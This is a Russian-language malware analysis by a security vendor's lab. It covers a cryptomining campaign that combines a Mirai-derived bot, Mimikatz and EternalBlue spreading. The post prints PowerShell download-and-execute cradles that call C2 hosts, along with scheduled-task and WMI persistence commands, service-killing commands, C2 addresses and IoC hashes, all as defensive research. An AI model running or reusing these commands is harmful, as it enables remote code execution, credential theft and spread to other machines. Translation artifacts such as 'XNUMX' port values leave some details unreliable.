За последний год Quick Heal Security Labs отмечает рост числа вредоносных программ для майнинга. Один из способов заработать криптовалюту — это её майнинг. В настоящее время вредоносные программы для майнинга криптовалют стали популярными векторами атак киберпреступников благодаря простоте развертывания и мгновенной окупаемости инвестиций. Мы обычно наблюдаем, что такие майнеры используют различные методы для доставки к жертве. Злоумышленник может скачать оригинальное программное обеспечение с открытым исходным кодом и немного его модифицировать, вместо того чтобы полностью писать собственный модуль.
В этой публикации мы рассмотрим несколько случаев, когда сценарии атак строятся на основе этих инструментов с открытым исходным кодом. Мы также поговорим о том, как тенденция злоупотребления инструментами с открытым исходным кодом для создания новых вредоносных программ помогает их создателям.
Эта тенденция особенно ярко проявляется в случаях криптоджекинга. Хотя криптоджекинг является прямым источником дохода для киберпреступников, украденная информация из систем жертв может принести им дополнительный доход. Поэтому эти инструменты с открытым исходным кодом используются для различных целей, таких как загрузка фреймворков, кража информации, майнинг криптовалют, DNS Changer, боты Mirai и многое другое. Это значительно помогло сформировать ботнет из схожих хостов для генерации большего количества хешей в секунду. Зачастую такие инструменты с открытым исходным кодом легко доступны на Github и аналогичных платформах. Их можно классифицировать как фреймворки для эксплойтов, сканеры уязвимостей, похитители паролей, средства повышения привилегий, программы-обходчики и т. д.
Вектор инфекции:
Мы получили программу-загрузчик майнера, которая загружает несколько компонентов атаки. Этот скрипт может попасть в вашу систему через спам-письма, вредоносные URL-адреса, сборщики бесплатного программного обеспечения или любым другим распространенным способом, используемым всеми вариантами вредоносных программ. Также мы подозреваем, что первопричиной, по-видимому, является скрипт PowerShell . Поведение майнера носит несколько рекурсивный характер, поэтому мы не смогли подтвердить его первоначальное обнаружение в системе.
Технический анализ:

Загрузчик майнера создает файл с именем «xpdown.dat», который содержит некоторые IP-адреса серверов C2, с которых он загружает дополнительные компоненты.
45.58.135.106
103.95.28.54
103.213.246.23
74.222.14.61
Ok.xmr6b.ru
Затем он загружает следующие файлы с доменов:
hxxp://45.58.135.106/xpdown.dat
hxxp://45.58.135.106/down.html
hxxp://45.58.135.106/ok/64.html
Он содержит IP-адрес, с которого загружается CPU Miner (174.128.248.10)
hxxp://45.58.135.106/kill.txt
Он содержит следующий список процессов, которые следует завершить, если они запущены на зараженной машине.
lsmose.exe lsmos.exe conime.exe lsmosee.exe
1.exe lsazs.exe tasksche.exe Zationa.exe
csrs.exe shennong.bat svshpst.exe Spoolvs.exe
svchsot.exe xmrig.exe srvany.exe WinSCV.exe
csrswz.exe csrs.exe seser.exe severxxs.exe
mssecsvc.exe mssecsvr.exe dsbws.exe
Затем вредоносная программа загружает текстовый файл, содержащий информацию о нескольких полезных нагрузках, которые необходимо загрузить.
hxxp://45.58.135.106/down.txt
Этот down.txt содержит следующие ссылки. Затем вредоносная программа открывает в системе TCP-порт 32381.
hxxp://213.183.45.201/downs.exe (C:\windows\system\downs.exe)
hxxp://66.117.6.174/ups.rar (C:\windows\system\cab.exe)
hxxp://213.183.60.7/b.exe (C:\windows\inf\msief.exe)
hxxp://174.128.239.250/item.dll (C:\windows\debug\item.dat)
Просматривая ссылки в файле, мы заметили следующее.
Downs.exe — это модифицированная версия Microsoft «CACLS» (которая отображает и изменяет список контроля доступа). Ups.rar загружается как cab.exe. Этот компонент представляет собой загрузчик для Windows-версии ботнета Mirai. Он также выполняет функцию DNS-чейнджера и открывает бэкдор в системе. При запуске он выполняет ряд операций, таких как изменение DNS-записи на хосте с IP-адресом «223.5.5.5», который имеет географическое положение в Китае, а интернет-провайдер DNS — «Hangzhou Alibaba Advertising Co., Ltd».

Затем он проверяет, является ли скомпрометированная машина сервером Windows, вызывая GetVersionExA. Если машина является сервером, он загружает файл update.txt с сервера C2 и помещает его в папку «C:\windows\system\uplist.txt». Файл uplist.txt содержит следующую полезную нагрузку для загрузки и выполнения.
hxxp://66.117.6.174/wpd.jpg (C:\windows\system\msinfo.exe)
hxxp://66.117.6.174/my1.html (C:\windows\system\my1.bat)
Он также загружает npptools.dll, 64npf.sys, npf.sys, nsoak.dat, packet.dll и wpcap.dll. Эти файлы используются для обработки сетевых пакетов, загружаемых msinfo.exe во время его работы.
Давайте рассмотрим эти компоненты по отдельности.
my1.bat:
Он содержит код, который является очень скрытным и неуловимым, поскольку он использует несколько методов, таких как «Squiblydoo», «download cradle» и эксплойт устойчивости подписки на события WMI для запуска вредоносного контента на зараженных машинах.
Скрипт WMI содержит несколько скриптов PowerShell.
powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('hxxp://173.208.139.170/s.txt')
Этот текстовый файл содержит еще один загрузчик PowerShell, как показано ниже:
powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('hxxp://74.222.1.38/up.txt')
«Up.txt» содержит код, который собирает информацию об ОС системы, физической памяти, списке запущенных процессов с использованием классов WMI, а затем загружает формат Powershell Mimikatz из Github.
Затем он крадет учетные данные со взломанной машины и загружает их на FTP-сервер IP:192.187.111.66 с жестко запрограммированными учетными данными FTP.

Msinfo.exe:
По сути, это Windows-версия ботнета Mirai. Поскольку большая часть его кода совпадает с исходным кодом Mirai, который был опубликован ранее, при запуске с параметрами командной строки «-create» и «-run» он проверяет архитектуру текущей системы: x86, MIPS, ARM и т. д. На основе идентификации он проверяет наличие последнего обновления и загружает его, если оно доступно.
Он выполняет следующую задачу в соответствии с зашифрованным файлом, загруженным с сервера C2.
- Реализует механизм распространения, выполняя функции слепого SQLi (SQL-инъекции), методов подбора паролей с использованием библиотеки взлома и инструмента Hydra.
[Взломщик:Telnet][Взломщик:MSSQL] [Взломщик:CCTV][Взломщик:MS17010], CrackerWMI, CrackerSSH
- Он сканирует различные порты, такие как 80,8000,445, XNUMX, XNUMX, используя masscan (очень быстрый сканер портов, проект с открытым исходным кодом), который работает аналогично nmap, популярному инструменту сканирования портов.
https://github.com/robertdavidgraham/masscan
- Отключите определенные службы, выполнив следующую команду:
C:\Windows\system32\cmd.exe /c taskkill /f /im csrs.exe&sc stop netprofm&sc config netprofm
запуск= отключен&sc stop NlaSvc&sc config NlaSvc start=disabled
- Он также выполняет сканирование сети, для которого собирает публичный/частный IP-адрес системы и всю связанную с ним информацию, такую как географическое местоположение и т. д. Затем злоумышленник подменяет свой собственный IP-адрес текущим IP-адресом системы и с помощью masscan выполняет сканирование других устройств.
Этими действиями он превращает эту систему в бота и добавляет её в свою бот-сеть. Код был разработан на C++ и распространён во многих источниках, таких как:
CheckUpdate.cpp
Cracker_Inline.cpp
Cracker_Standalone.cpp
CThreadPool.cpp
Logger_Stdout.cpp
Scanner_Tcp_Connect.cpp
Scanner_Tcp_Raw.cpp
cService.cpp
ServerAgent.cpp
Task_Crack_Ipc.cpp
Task_Crack_Mssql.cpp
Task_Crack_Rdp.cpp
Task_Crack_Ssh.cpp
Task_Crack_Telnet.cpp
Task_Crack_Wmi.cpp
Task_Scan.cpp WPD.cpp
В основном он нацелен на устройства Интернета вещей со встроенным Linux. Поэтому он использовал BusyBox (программный пакет, предоставляющий утилиты UNIX, также известный как «швейцарский армейский нож» для встроенного Linux) для удалённого выполнения команд после компрометации/взлома этих устройств различными способами, упомянутыми выше.
VBS/BAT Agent для загрузки майнера:
Сначала полезная нагрузка будет сброшена и выполнена в указанном ниже месте на машине-жертве.
hxxp://213.183.60.7/b.exe (загружено в C:\windows\inf\msief.exe)
При выполнении он поместит VBS и пакетный файл в указанное ниже место и выполнит файл VBS, вызвав wscript.exe, который в конечном итоге выполнит файл bat.
C:\Windows\web\c3.bat
C:\Windows\web\n.vbs
Файл .bat содержит большой объем кода, который изменяет атрибуты некоторых папок/файлов, завершает некоторые определенные процессы, удаляет некоторые файлы, изменяет контроль доступа к некоторым папкам/файлам, делает постоянным несколько полезных нагрузок в системе через реестр, планировщик задач, подписку на события WMI, а также изменяет политику брандмауэра, блокируя 445,139 XNUMX портов.


В xpdown.dat также присутствуют два дополнительных полезных файла, загружаемых с одного из серверов C2. Один из них — это DLL-файл diskwritter, расположенный в папке «C:\Windows\debug». Он будет запущен при запуске системы, поскольку запись о нём в планировщике задач добавлена указанным выше bat-файлом.
schtasks /create /tn "Mysa1" /tr "rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa" /ru "system" /sc onstart /F
А второй — это финальная полезная нагрузка, то есть XMRig Monero Miner, 64-битный исполняемый файл, загруженный с hxxp://174.128.248.10/64.rar в «C:\windows\debug\lsmos.exe»
При запуске он распаковывается и помещает 3 файла в текущую папку запуска, один из которых является исполняемым файлом (lsmose.exe -64 бит, упакованный с VM Protect) и двумя библиотеками DLL (xmrstak_cuda_backend.dll и xmrstak_opencl_backend.dll), что помогает майнеру успешно запуститься.
Еще один похожий случай, который мы наблюдали, — это скрипт PowerShell в кодировке base64, который по сути является вредоносным ПО для майнинга криптовалют, скрывающимся в классе WMI, чтобы обойти антивирусную защиту и большинство продуктов безопасности благодаря своей скрытности и уникальной функции.
После декодирования получаем следующий код:

Ниже приведен основной рабочий процесс вредоносного ПО.

При выполнении проверяется, активен ли IP-адрес/домен, указанный в коде. Если он доступен, запрашивается баннер, и в ответ приходит сообщение в виде « SCM Event1 Log ».

После этого вредоносная программа запрашивает WMI-класс FilterToConsumerBinding, выполняя следующую команду:
$a=([строка](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding))
Затем проверяется, содержит ли файл « SCM Event1 Log ». Если отсутствует, то загружается и выполняется in6.ps1 (64-бит) или in3.ps1 (32-бит) с помощью вызова выражения (IEX).

in6.ps1/in3.ps1:
Эти скрипты состоят из двух частей: первая часть представляет собой поток данных Gzip, закодированный в формате Base64, а вторая часть содержит обфусцированный код. После деобфусцировки код собирается аналогично исходному скрипту в формате Base64 с дополнительными функциями.

Закодированный gzip-архив содержит четыре файла, указанных ниже:
- «mini» – Mimikatz, похититель учетных данных
- 'mon' – майнер Monero CPU
- «funs» – Коллекция функций, имеющих функцию выполнения удаленной DLL через WMI и вечное сканирование на наличие уязвимостей.
- 'sc' – Шелл-код для выполнения на других системах и загрузки той же полезной нагрузки, если она уязвима для вечной синевы.
Он создает класс WMI «systemcore_Updater0» в пространстве имен «root\default» и добавляет такие свойства, как mimi, mon, funs, sc, ipsu и i17.

Затем он устанавливает имя_фильтра = «Фильтр журнала событий SCM 1» и имя_потребителя = «Потребитель журнала событий SCM 1».
Когда злоумышленник использует WMI в качестве механизма сохранения, необходимо создать экземпляры __EventFilter, _EventConsumer и __FilterToConsumerBinding, а также вызвать событие _InstanceCreationEvent.
В этом случае злоумышленник использует следующий запрос в качестве EventFilter и связывает его с исходным скриптом в кодировке base64, который в конечном итоге будет выполняться примерно каждые 3 часа.
SELECT * FROM __InsanceModificationEvent WITHIN 10600 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System

Программа попыталась удалить запись планировщика задач « sysupdater0 », а также проверила наличие файла «sysupdater0.bat» в %systemroot%, и если он существует, удалила и его.
Изменяет настройки спящего режима, режима гибернации и плана электропитания Windows с помощью следующей команды:
powercfg /CHANGE -standby-timeout-ac 0
powercfg /CHANGE -hibernate-timeout-ac 0
powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
Удаляет все объекты WMI в классе __FilterToConsumerBinding в пространстве имен «root\subscription», если имя фильтра не совпадает с «SCM Event0 Log».
Затем он завершает процесс, если у него есть «УСТАНОВЛЕННОЕ» соединение с номером порта 3333, 5555 или 7777.
Он составляет список PID запущенных процессов PowerShell и сетевых подключений системы. Затем он проверяет наличие процесса с установленным соединением и соответствующим номером порта 80, 14444, 14433 или 443. Если таких процессов нет, а количество запущенных процессов PowerShell меньше 8, он запускает майнер Monero с помощью модуля funs. После этого он запускает mimikatz и выводит учётные данные независимо от запуска майнера Monero.
Он также перечисляет сетевые адреса и проверяет наличие активных IP-адресов, добавляя их в свойство с именем 'ipsu'. Затем он сканирует эти IP-адреса для выявления систем, уязвимых к MS17-010 (с помощью скрипта сканера Eternal Blue), сохраняет их в свойство 'i17' и, наконец, выполняет шелл-код, который загрузит файлы ze3.ps1 или ze6.ps1, точно такие же, как in3.ps1 или in6.ps1, в зависимости от архитектуры операционной системы.

Шелл-код загружает и выполняет скрипт PS для заражения других уязвимых систем. Таким образом, он распространяется и майнит другие системы в сетях.
Таким образом, в обоих случаях для проведения атаки активно используются инструменты с открытым исходным кодом. Mimikatz, Masscan и Eternal Blue, по-видимому, пользуются популярностью у создателей вредоносных программ. Аналогичные методы используются и для распространения программ-вымогателей. Seqrite успешно обнаруживает такие атаки на разных уровнях обнаружения.
Индикатор компрометации:
790C213E1227ADEFD2D564217DE86AC9FE660946E1240B5415C55770A951ABFD
46BC86CFF88521671E70EDBBADBC17590305C8F91169F777635E8F529AC21044
AE161E582DE9EC380B3E0B295EFFD62EB8889AC35BC6631A9492CF41563ED14A
0E91F531A05C70B6CF3A8FA942B91A026A5B57069AA5B5C8DFE1EBCBC63AEAE9
EAEF82223EEB8CF404A1D46613D36B9E582304B215201B5E557DB578DD73E04E
30CDBB5C9E23758E8C74E9FDBAEE893D67D3BA42B3B09196CF98395738A67F56
7EC433DD0454553B09F11C39944E251E3EE32E4981F52F02ADC3011EB0CE6537
EA7CEDE3BCB8AD6A8E9FED3CB34F8E6746D445E2044455261EAD4E5092070408
88D338D9FC1990E3D48CDB7E704E785953271EEAB97F196BBCD0C4D2D76F7DC3
789CBE603582262914191882DEC7E6A6F1D61D062D2BDF21B8892BC5854C6196
9868C6F0F23FB81229E2EF765FF524602244384C420D14FFD5708341D85EF4CE
D256AF525680DF6A6178AD608D1700FE5178AA2F3EFE4A52DBCF7AD7EA524936
Эксперт предметной области:
Приянка Шинде, Гутам Трипати, Валлаб Чоле
Лаборатории безопасности, Quick Heal Technologies, Ltd.



